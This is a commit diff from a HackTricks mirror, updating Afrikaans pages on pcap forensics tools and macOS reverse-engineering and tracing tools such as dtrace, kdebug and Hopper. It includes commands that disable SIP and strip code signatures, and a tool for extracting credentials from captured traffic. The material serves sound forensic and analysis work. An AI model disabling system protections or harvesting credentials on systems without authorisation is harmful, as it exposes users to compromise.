mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
Translated ['generic-methodologies-and-resources/basic-forensic-methodol
This commit is contained in:
parent
5b2cdc20e7
commit
83b4e7f03b
11 changed files with 796 additions and 596 deletions
|
@ -637,6 +637,7 @@
|
|||
* [Reverse Tab Nabbing](pentesting-web/reverse-tab-nabbing.md)
|
||||
* [Unicode Injection](pentesting-web/unicode-injection/README.md)
|
||||
* [Unicode Normalization](pentesting-web/unicode-injection/unicode-normalization.md)
|
||||
* [UUID Insecurities](pentesting-web/uuid-insecurities.md)
|
||||
* [WebSocket Attacks](pentesting-web/websocket-attacks.md)
|
||||
* [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md)
|
||||
* [XPATH injection](pentesting-web/xpath-injection.md)
|
||||
|
|
|
@ -6,10 +6,10 @@
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
@ -29,6 +29,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As die kop van jou pcap **beskadig** is, moet jy probeer om dit te **herstel** met: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||
* Ontgin **inligting** en soek vir **malware** binne 'n pcap in [**PacketTotal**](https://packettotal.com)
|
||||
* Soek na **skadelike aktiwiteit** deur gebruik te maak van [**www.virustotal.com**](https://www.virustotal.com) en [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
|
||||
* **Volledige pcap-ontleding vanaf die blaaier by** [**https://apackets.com/**](https://apackets.com/)
|
||||
|
||||
## Ontgin Inligting
|
||||
|
||||
|
@ -46,6 +47,10 @@ Jy kan 'n paar Wireshark-truuks vind in:
|
|||
[wireshark-tricks.md](wireshark-tricks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### [**https://apackets.com/**](https://apackets.com/)
|
||||
|
||||
Pcap-ontleding vanaf die blaaier.
|
||||
|
||||
### Xplico Framework
|
||||
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(slegs linux)_ kan 'n **pcap** analiseer en inligting daaruit onttrek. Byvoorbeeld, van 'n pcap-lêer onttrek Xplico elke e-pos (POP, IMAP, en SMTP-protokolle), alle HTTP-inhoud, elke VoIP-oproep (SIP), FTP, TFTP, ensovoorts.
|
||||
|
@ -62,7 +67,7 @@ sudo apt-get install xplico
|
|||
/etc/init.d/apache2 restart
|
||||
/etc/init.d/xplico start
|
||||
```
|
||||
Toegang tot _**127.0.0.1:9876**_ met geloofsbriewe _**xplico:xplico**_
|
||||
Kry toegang tot _**127.0.0.1:9876**_ met geloofsbriewe _**xplico:xplico**_
|
||||
|
||||
Skep dan 'n **nuwe saak**, skep 'n **nuwe sessie** binne die saak en **laai die pcap-lêer op**.
|
||||
|
||||
|
@ -105,7 +110,7 @@ Die gebruik van algemene uithol tegnieke kan nuttig wees om lêers en inligting
|
|||
|
||||
### Vang van geloofsbriewe
|
||||
|
||||
Jy kan gereedskap soos [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) gebruik om geloofsbriewe uit 'n pcap of 'n lewende koppelvlak te ontled.
|
||||
Jy kan gereedskap soos [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) gebruik om geloofsbriewe van 'n pcap of 'n lewende koppelvlak te ontled.
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -133,12 +138,12 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
|||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is 'n gereedskap wat
|
||||
|
||||
* 'n PCAP-lêer lees en HTTP-strome onttrek.
|
||||
* gzip-deflate enige saamgedrukte strome
|
||||
* gzip deflates enige saamgedrukte strome
|
||||
* Skandeer elke lêer met yara
|
||||
* Skryf 'n report.txt
|
||||
* Opsioneel stoor ooreenstemmende lêers na 'n Dir
|
||||
|
||||
### Malware-analise
|
||||
### Malware Analise
|
||||
|
||||
Kyk of jy enige vingerafdruk van 'n bekende malware kan vind:
|
||||
|
||||
|
@ -148,7 +153,7 @@ Kyk of jy enige vingerafdruk van 'n bekende malware kan vind:
|
|||
|
||||
## Zeek
|
||||
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html) is 'n passiewe, oopbron-netwerkverkeerontleder. Baie operateurs gebruik Zeek as 'n Netwerksekuriteitsmonitor (NSM) om ondersoeke van verdagte of skadelike aktiwiteit te ondersteun. Zeek ondersteun ook 'n wye reeks verkeersontledingstake buite die sekuriteitsdomein, insluitend prestasiemetings en foutoplossing.
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html) is 'n passiewe, oopbron-netwerkverkeerontleder. Baie operateurs gebruik Zeek as 'n Netwerksekuriteitsmonitor (NSM) om ondersoeke van verdagte of skadelike aktiwiteit te ondersteun. Zeek ondersteun ook 'n wye reeks verkeersontledingstake buite die veiligheidsdomein, insluitend prestasiemetings en foutoplossing.
|
||||
|
||||
Basies geskep deur `zeek` se logboeke is nie **pcaps** nie. Daarom sal jy **ander gereedskap** moet gebruik om die logboeke te analiseer waar die **inligting** oor die pcaps is.
|
||||
|
||||
|
@ -237,20 +242,20 @@ rita show-exploded-dns -H --limit 10 zeek_logs
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante sibersekuriteitgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante sibersekuriteit geleentheid in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie en sibersekuriteit professionele in elke dissipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hak truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -18,9 +18,9 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steel-malware** **gekompromitteer** is.
|
||||
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steel-malware** gekompromitteer is.
|
||||
|
||||
Die primêre doel van WhiteIntel is om rekening-oorneeminge en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
|
||||
Die primêre doel van WhiteIntel is om rekening-oorneem te bekamp en lospryse-aanvalle as gevolg van inligtingsteel-malware te voorkom.
|
||||
|
||||
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
|
||||
|
||||
|
@ -46,8 +46,6 @@ objdump -m --full-contents /bin/ls # Dump every section
|
|||
objdump -d /bin/ls # Dissasemble the binary
|
||||
objdump --disassemble-symbols=_hello --x86-asm-syntax=intel toolsdemo #Disassemble a function using intel flavour
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### jtool2
|
||||
|
||||
Die gereedskap kan gebruik word as 'n **vervanging** vir **codesign**, **otool**, en **objdump**, en bied 'n paar ekstra kenmerke. [**Laai dit hier af**](http://www.newosxbook.com/tools/jtool.html) of installeer dit met `brew`.
|
||||
|
@ -100,11 +98,12 @@ ldid -S/tmp/entl.xml <binary>
|
|||
```
|
||||
### VerdagtePakket
|
||||
|
||||
[**VerdagtePakket**](https://mothersruin.com/software/SuspiciousPackage/get.html) is 'n nuttige hulpmiddel om **.pkg** lêers (installateurs) te ondersoek en te sien wat binne-in is voordat dit geïnstalleer word. Hierdie installateurs het `preinstall` en `postinstall` bash-skripte wat malware-skrywers gewoonlik misbruik om die malware te **volhard**.
|
||||
[**VerdagtePakket**](https://mothersruin.com/software/SuspiciousPackage/get.html) is 'n nuttige hulpmiddel om **.pkg** lêers (installateurs) te inspekteer en te sien wat binne-in is voordat dit geïnstalleer word.\
|
||||
Hierdie installateurs het `preinstall` en `postinstall` bash-skripte wat malware-skrywers gewoonlik misbruik om die malware te **volhard**.
|
||||
|
||||
### hdiutil
|
||||
|
||||
Hierdie hulpmiddel maak dit moontlik om Apple skyfbeeld lêers (**.dmg**) te **mount** om hulle te ondersoek voordat enigiets uitgevoer word:
|
||||
Hierdie hulpmiddel maak dit moontlik om Apple skyfafbeeldings (**.dmg**) lêers te **mount** om hulle te inspekteer voordat enigiets uitgevoer word:
|
||||
```bash
|
||||
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
||||
```
|
||||
|
@ -115,12 +114,12 @@ Dit sal in `/Volumes` aangeheg word.
|
|||
#### Metadata
|
||||
|
||||
{% hint style="danger" %}
|
||||
Let daarop dat programme geskryf in Objective-C hul klaskondigings behou wanneer hulle gekompileer word na [Mach-O binaêre lêers](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Sulke klaskondigings sluit die naam en tipe in van:
|
||||
Let daarop dat programme geskryf in Objective-C hul klaskondigings behou wanneer hulle saamgestel word in [Mach-O binaêre lêers](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Sulke klaskondigings sluit die naam en tipe van in:
|
||||
{% endhint %}
|
||||
|
||||
* Die klas
|
||||
* Die klasmetodes
|
||||
* Die klasinstansie-veranderlikes
|
||||
* Die klas-instansie veranderlikes
|
||||
|
||||
Jy kan hierdie inligting kry deur [**class-dump**](https://github.com/nygard/class-dump) te gebruik:
|
||||
```bash
|
||||
|
@ -128,14 +127,14 @@ class-dump Kindle.app
|
|||
```
|
||||
#### Funksie oproep
|
||||
|
||||
Wanneer 'n funksie in 'n binêre lêer geroep word wat Objective-C gebruik, sal die gekompileerde kode in plaas daarvan om daardie funksie te roep, **`objc_msgSend`** roep. Dit sal die finale funksie roep:
|
||||
Wanneer 'n funksie in 'n binêre lêer aangeroep word wat Objective-C gebruik, sal die gekompileerde kode in plaas daarvan om daardie funksie te roep, **`objc_msgSend`** aanroep. Dit sal die finale funksie aanroep:
|
||||
|
||||
![](<../../../.gitbook/assets/image (305).png>)
|
||||
|
||||
Die parameters wat hierdie funksie verwag is:
|
||||
|
||||
* Die eerste parameter (**self**) is " 'n wyser wat na die **instansie van die klas wat die boodskap moet ontvang, wys**". Of meer eenvoudig gestel, dit is die objek waarop die metode opgeroep word. As die metode 'n klasmetode is, sal dit 'n instansie van die klasobjek wees (as geheel), terwyl vir 'n instansiemetode sal self na 'n geïnstantieerde instansie van die klas as 'n objek wys.
|
||||
* Die tweede parameter, (**op**), is "die selektor van die metode wat die boodskap hanteer". Weereens, meer eenvoudig gestel, is dit net die **naam van die metode**.
|
||||
* Die eerste parameter (**self**) is " 'n wyser wat na die **instansie van die klas wat die boodskap moet ontvang** wys". Dit is eenvoudig gestel, dit is die objek waarop die metode opgeroep word. As die metode 'n klasmetode is, sal dit 'n instansie van die klasobjek (as geheel) wees, terwyl vir 'n instansiemetode, sal self wys na 'n geïnstantieerde instansie van die klas as 'n objek.
|
||||
* Die tweede parameter, (**op**), is "die selektor van die metode wat die boodskap hanteer". Weereens, eenvoudig gestel, dit is net die **naam van die metode**.
|
||||
* Die oorblywende parameters is enige **waardes wat deur die metode benodig word** (op).
|
||||
|
||||
Sien hoe om **hierdie inligting maklik met `lldb` in ARM64** te kry op hierdie bladsy:
|
||||
|
@ -156,6 +155,10 @@ x64:
|
|||
| **6de argument** | **r9** | **4de argument vir die metode** |
|
||||
| **7de+ argument** | <p><strong>rsp+</strong><br><strong>(op die stok)</strong></p> | **5de+ argument vir die metode** |
|
||||
|
||||
### Dynadump
|
||||
|
||||
[**Dynadump**](https://github.com/DerekSelander/dynadump) is 'n instrument om Objc-Klasse van dylibs te kry.
|
||||
|
||||
### Swift
|
||||
|
||||
Met Swift-binêre lêers, aangesien daar Objective-C-verenigbaarheid is, kan jy soms verklarings onttrek deur [class-dump](https://github.com/nygard/class-dump/) te gebruik, maar nie altyd nie.
|
||||
|
@ -172,7 +175,7 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd
|
|||
Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
|
||||
[...]
|
||||
```
|
||||
Jy kan meer inligting oor die **inligting wat in hierdie afdeling gestoor word in hierdie blogpos** vind.
|
||||
Jy kan meer inligting oor die [**inligting wat in hierdie afdeling gestoor word in hierdie blogpos**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html) vind.
|
||||
|
||||
Verder, **Swift-binêre lêers mag simbole hê** (byvoorbeeld biblioteke moet simbole stoor sodat sy funksies geroep kan word). Die **simbole het gewoonlik die inligting oor die funksienaam** en attr op 'n lelike manier, so hulle is baie nuttig en daar is "**demanglers"** wat die oorspronklike naam kan kry:
|
||||
```bash
|
||||
|
@ -185,57 +188,80 @@ swift demangle
|
|||
### Gepakte bineêre lêers
|
||||
|
||||
* Kontroleer vir hoë entropie
|
||||
* Kontroleer die strings (is daar byna geen verstaanbare string nie, gepak)
|
||||
* Kontroleer die strings (is daar byna geen verstaanbare string, gepak)
|
||||
* Die UPX-pakker vir MacOS genereer 'n afdeling genaamd "\_\_XHDR"
|
||||
|
||||
## Dinamiese Analise
|
||||
|
||||
{% hint style="warning" %}
|
||||
Let daarop dat om bineêre lêers te ontleed, **SIP moet gedeaktiveer word** (`csrutil disable` of `csrutil enable --without debug`) of om die bineêre lêers na 'n tydelike vouer te kopieer en die handtekening te **verwyder** met `codesign --remove-signature <binêre-pad>` of om die ontleed van die bineêre lêer toe te laat (jy kan hierdie skripsie gebruik](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
|
||||
Let daarop dat om bineêre lêers te ontleed, **SIP moet gedeaktiveer wees** (`csrutil disable` of `csrutil enable --without debug`) of om die bineêre lêers na 'n tydelike vouer te kopieer en die handtekening te **verwyder** met `codesign --remove-signature <binêre-pad>` of om die ontleed van die bineêre lêer toe te laat (jy kan [hierdie skripsie](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b) gebruik)
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
Let daarop dat om **sisteem bineêre lêers** (soos `cloudconfigurationd`) op macOS te **instrumenteer**, **SIP moet gedeaktiveer word** (net die handtekening verwyder sal nie werk nie).
|
||||
Let daarop dat om **sisteem bineêre lêers** (soos `cloudconfigurationd`) op macOS te **instrumenteer**, **SIP moet gedeaktiveer wees** (net die handtekening verwyder sal nie werk nie).
|
||||
{% endhint %}
|
||||
|
||||
### API's
|
||||
|
||||
macOS stel 'n paar interessante API's bloot wat inligting oor die prosesse gee:
|
||||
|
||||
* `proc_info`: Dit is die belangrikste een wat baie inligting oor elke proses gee. Jy moet 'n root wees om ander prosesse se inligting te kry, maar jy het nie spesiale toestemmings of mach-poorte nodig nie.
|
||||
* `libsysmon.dylib`: Dit maak dit moontlik om inligting oor prosesse te kry via XPC blootgestelde funksies, maar dit is nodig om die toestemming `com.apple.sysmond.client` te hê.
|
||||
|
||||
### Stackshot & mikrostapelopnames
|
||||
|
||||
**Stackshotting** is 'n tegniek wat gebruik word om die toestand van die prosesse vas te lê, insluitend die oproepstapel van alle lopende drade. Dit is veral nuttig vir ontleed, prestasie-analise, en om die gedrag van die sisteem op 'n spesifieke tydstip te verstaan. Op iOS en macOS kan stackshotting gedoen word met verskeie gereedskap en metodes soos die gereedskap **`sample`** en **`spindump`**.
|
||||
|
||||
### Sysdiagnose
|
||||
|
||||
Hierdie gereedskap (`/usr/bini/ysdiagnose`) versamel basies baie inligting van jou rekenaar deur tientalle verskillende bevele soos `ps`, `zprint` uit te voer...
|
||||
|
||||
Dit moet as **root** uitgevoer word en die daemon `/usr/libexec/sysdiagnosed` het baie interessante toestemmings soos `com.apple.system-task-ports` en `get-task-allow`.
|
||||
|
||||
Die plist daarvan is geleë in `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist` wat 3 MachServices verklaar:
|
||||
|
||||
* `com.apple.sysdiagnose.CacheDelete`: Verwyder ou argiewe in /var/rmp
|
||||
* `com.apple.sysdiagnose.kernel.ipc`: Spesiale poort 23 (kernel)
|
||||
* `com.apple.sysdiagnose.service.xpc`: Gebruikermodus-koppelvlak deur `Libsysdiagnose` Obj-C klas. Drie argumente in 'n dict kan oorgedra word (`compress`, `display`, `run`)
|
||||
|
||||
### Eenvormige Logboeke
|
||||
|
||||
MacOS genereer baie logboeke wat baie nuttig kan wees wanneer 'n toepassing uitgevoer word om te probeer verstaan **wat dit doen**.
|
||||
|
||||
Daar is ook logboeke wat die tag `<private>` sal bevat om sommige **gebruiker** of **rekenaar identifiseerbare** inligting te **versteek**. Dit is egter moontlik om 'n sertifikaat te **installeer om hierdie inligting bekend te maak**. Volg die verduidelikings vanaf [**hier**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
|
||||
Daar is ook logboeke wat die tag `<private>` sal bevat om sommige **gebruiker** of **rekenaar** **identifiseerbare** inligting te **versteek**. Dit is egter moontlik om 'n sertifikaat te **installeer om hierdie inligting bekend te maak**. Volg die verduidelikings vanaf [**hier**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
|
||||
|
||||
### Hopper
|
||||
|
||||
#### Linker paneel
|
||||
#### Linkerpaneel
|
||||
|
||||
In die linker paneel van hopper is dit moontlik om die simbole (**Etikette**) van die bineêre lêer, die lys van prosedures en funksies (**Proc**) en die strings (**Str**) te sien. Dit is nie al die strings nie, maar dié wat gedefinieer is in verskeie dele van die Mac-O-lêer (soos _cstring of_ `objc_methname`).
|
||||
In die linkerpaneel van hopper is dit moontlik om die simbole (**Etikette**) van die bineêre lêer, die lys van prosedures en funksies (**Proc**) en die strings (**Str**) te sien. Dit is nie al die strings nie, maar diegene wat in verskeie dele van die Mac-O-lêer gedefinieer is (soos _cstring of_ `objc_methname`).
|
||||
|
||||
#### Middelste paneel
|
||||
#### Middelpaneel
|
||||
|
||||
In die middelste paneel kan jy die **ontsamelde kode** sien. En jy kan dit sien as **rof** ontsamel, as **grafiek**, as **ontsamelde kode** en as **binêr** deur op die betrokke ikoon te klik:
|
||||
In die middelpaneel kan jy die **ontleedde kode** sien. En jy kan dit sien as **rof** ontleed, as **grafiek**, as **ontleed** en as **binedeel** deur op die betrokke ikoon te klik:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (343).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deur regs te klik op 'n kode-object kan jy **verwysings na/van daardie objek** sien of selfs sy naam verander (dit werk nie in ontsamelde pseudokode nie):
|
||||
Deur regs te klik op 'n kodeobjek kan jy **verwysings na/van daardie objek** sien of selfs sy naam verander (dit werk nie in ontleedde pseudokode nie):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Verder kan jy in die **middel onder python-opdragte skryf**.
|
||||
|
||||
#### Regter paneel
|
||||
#### Regterpaneel
|
||||
|
||||
In die regter paneel kan jy interessante inligting sien soos die **navigasiegeskiedenis** (sodat jy weet hoe jy by die huidige situasie uitgekom het), die **oproepgrafiek** waar jy al die **funksies kan sien wat hierdie funksie oproep** en al die funksies wat **hierdie funksie oproep**, en **plaaslike veranderlikes**-inligting.
|
||||
In die regterpaneel kan jy interessante inligting sien soos die **navigasiegeskiedenis** (sodat jy weet hoe jy by die huidige situasie uitgekom het), die **oproepgrafiek** waar jy al die **funksies kan sien wat hierdie funksie aanroep** en al die funksies wat **hierdie funksie aanroep**, en **plaaslike veranderlikes**-inligting.
|
||||
|
||||
### dtrace
|
||||
|
||||
Dit gee gebruikers toegang tot toepassings op 'n uiters **lae vlak** en bied 'n manier vir gebruikers om **programme te volg** en selfs hul uitvoervloei te verander. Dtrace gebruik **sondes** wat **deur die hele kernel geplaas is** en is op plekke soos die begin en einde van sisteemaanroepe.
|
||||
Dit gee gebruikers toegang tot toepassings op 'n uiters **lae vlak** en bied 'n manier vir gebruikers om **programme te volg** en selfs hul uitvoervloei te verander. Dtrace gebruik **sondes** wat deur die hele kernel geplaas word en is op plekke soos die begin en einde van sisteemaanroepe.
|
||||
|
||||
DTrace gebruik die **`dtrace_probe_create`**-funksie om 'n sonde vir elke sisteemaanroep te skep. Hierdie sonde kan afgevuur word by die **ingangs- en uitgangspunt van elke sisteemaanroep**. Die interaksie met DTrace vind plaas deur /dev/dtrace wat slegs beskikbaar is vir die hoofgebruiker.
|
||||
DTrace gebruik die **`dtrace_probe_create`**-funksie om 'n sonde vir elke sisteemaanroep te skep. Hierdie sonde kan in die **ingangs- en uitgangspunt van elke sisteemaanroep** afgevuur word. Die interaksie met DTrace vind plaas deur /dev/dtrace wat slegs beskikbaar is vir die root-gebruiker.
|
||||
|
||||
{% hint style="success" %}
|
||||
Om Dtrace te aktiveer sonder om SIP-beskerming heeltemal te deaktiveer, kan jy in herstelmodus uitvoer: `csrutil enable --without dtrace`
|
||||
|
||||
Jy kan ook **`dtrace`** of **`dtruss`** bineêre lêers wat **jy saamgestel het**.
|
||||
Jy kan ook **`dtrace`** of **`dtruss`** bineêre lêers wat **jy saamgestel het**, gebruik.
|
||||
{% endhint %}
|
||||
|
||||
Die beskikbare sonde van dtrace kan verkry word met:
|
||||
|
@ -263,7 +289,7 @@ Voer `man -k dtrace` uit om die **DTrace-skripte wat beskikbaar is** te lys. Voo
|
|||
#Count the number of syscalls of each running process
|
||||
sudo dtrace -n 'syscall:::entry {@[execname] = count()}'
|
||||
```
|
||||
* skryfblok
|
||||
* skryf
|
||||
```bash
|
||||
syscall:::entry
|
||||
/pid == $1/
|
||||
|
@ -306,19 +332,57 @@ sudo dtrace -s syscalls_info.d -c "cat /etc/hosts"
|
|||
dtruss -c ls #Get syscalls of ls
|
||||
dtruss -c -p 1000 #get syscalls of PID 1000
|
||||
```
|
||||
### kdebug
|
||||
|
||||
Dit is 'n kernel naspeuringsfasiliteit. Die gedokumenteerde kodes kan gevind word in **`/usr/share/misc/trace.codes`**.
|
||||
|
||||
Gereedskap soos `latency`, `sc_usage`, `fs_usage` en `trace` gebruik dit intern.
|
||||
|
||||
Om met `kdebug` te kommunikeer, word `sysctl` oor die `kern.kdebug`-naamruimte gebruik en die MIBs wat gebruik moet word, kan gevind word in `sys/sysctl.h` met die funksies wat geïmplementeer is in `bsd/kern/kdebug.c`.
|
||||
|
||||
Om met kdebug met 'n aangepaste klient te skakel, is hierdie gewoonlik die stappe:
|
||||
|
||||
* Verwyder bestaande instellings met KERN\_KDSETREMOVE
|
||||
* Stel naspeuring in met KERN\_KDSETBUF en KERN\_KDSETUP
|
||||
* Gebruik KERN\_KDGETBUF om die aantal bufferinskrywings te kry
|
||||
* Kry die eie klient uit die naspeuring met KERN\_KDPINDEX
|
||||
* Skakel naspeuring in met KERN\_KDENABLE
|
||||
* Lees die buffer deur KERN\_KDREADTR te roep
|
||||
* Om elke draad met sy proses te koppel, roep KERN\_KDTHRMAP aan.
|
||||
|
||||
Om hierdie inligting te bekom, is dit moontlik om die Apple-gereedskap **`trace`** of die aangepaste gereedskap [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)** te gebruik.
|
||||
|
||||
**Let daarop dat Kdebug slegs beskikbaar is vir 1 kliënt op 'n slag.** Dus kan slegs een k-debug aangedrewe gereedskap gelyktydig uitgevoer word.
|
||||
|
||||
### ktrace
|
||||
|
||||
Jy kan hierdie selfs gebruik met **SIP geaktiveer**
|
||||
Die `ktrace_*` API's kom van `libktrace.dylib` wat dié van `Kdebug` omvou. Dan kan 'n klient net `ktrace_session_create` en `ktrace_events_[single/class]` roep om terugroependes op spesifieke kodes in te stel en dit dan met `ktrace_start` te begin.
|
||||
|
||||
Jy kan hierdie selfs met **SIP geaktiveer** gebruik.
|
||||
|
||||
Jy kan as kliënte die nutsprogram `ktrace` gebruik:
|
||||
```bash
|
||||
ktrace trace -s -S -t c -c ls | grep "ls("
|
||||
```
|
||||
Of `tailspin`.
|
||||
|
||||
### kperf
|
||||
|
||||
Dit word gebruik om 'n profiel op kernelvlak te maak en dit is gebou met behulp van `Kdebug` oproepe.
|
||||
|
||||
Basies word die globale veranderlike `kernel_debug_active` nagegaan en as dit ingestel is, roep dit `kperf_kdebug_handler` aan met die `Kdebug` kode en adres van die kernel raamoproep. As die `Kdebug` kode een gekies ooreenstem, kry dit die "aksies" wat gekonfigureer is as 'n bitkaart (kyk na `osfmk/kperf/action.h` vir die opsies).
|
||||
|
||||
Kperf het ook 'n sysctl MIB-tabel: (as root) `sysctl kperf`. Hierdie kodes kan gevind word in `osfmk/kperf/kperfbsd.c`.
|
||||
|
||||
Verder bly 'n subset van Kperfs funksionaliteit in `kpc`, wat inligting oor masjienprestasiemeters verskaf.
|
||||
|
||||
### ProcessMonitor
|
||||
|
||||
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) is 'n baie nuttige instrument om die prosesverwante aksies wat 'n proses uitvoer, te kontroleer (byvoorbeeld, monitor watter nuwe prosesse 'n proses skep).
|
||||
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) is 'n baie nuttige instrument om die prosesverwante aksies wat 'n proses uitvoer, te monitor (byvoorbeeld, monitor watter nuwe prosesse 'n proses skep).
|
||||
|
||||
### SpriteTree
|
||||
|
||||
